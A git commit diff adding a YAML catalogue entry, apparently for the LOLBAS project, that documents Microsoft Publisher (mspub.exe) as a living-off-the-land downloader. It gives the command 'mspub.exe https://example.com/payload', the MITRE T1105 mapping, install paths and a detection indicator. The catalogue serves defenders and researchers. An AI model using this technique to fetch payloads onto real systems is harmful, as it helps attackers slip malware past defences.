Adding 3 Microsoft Office-based downloaders (#238)

Co-authored-by: Wietze <wietze@users.noreply.github.com>

yml/OtherMSBinaries/Mspub.yml

@@ -0,0 +1,31 @@
+---
+Name: Mspub.exe
+Description: Microsoft Publisher
+Author: Nir Chako
+Created: 2022-08-02
+Commands:
+  - Command: mspub.exe https://example.com/payload
+    Description: Downloads payload from remote server
+    Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows 10, Windows 11
+Full_Path:
+  - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
+  - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
+  - Path: C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
+  - Path: C:\Program Files\Microsoft Office\Office16\MSPUB.exe
+  - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
+  - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
+  - Path: C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
+  - Path: C:\Program Files\Microsoft Office\Office15\MSPUB.exe
+  - Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
+  - Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
+  - Path: C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
+  - Path: C:\Program Files\Microsoft Office\Office14\MSPUB.exe
+Detection:
+  - IOC: Suspicious Office application internet/network traffic
+Acknowledgement:
+  - Person: 'Nir Chako (Pentera)'
+    Handle: '@C_h4ck_0'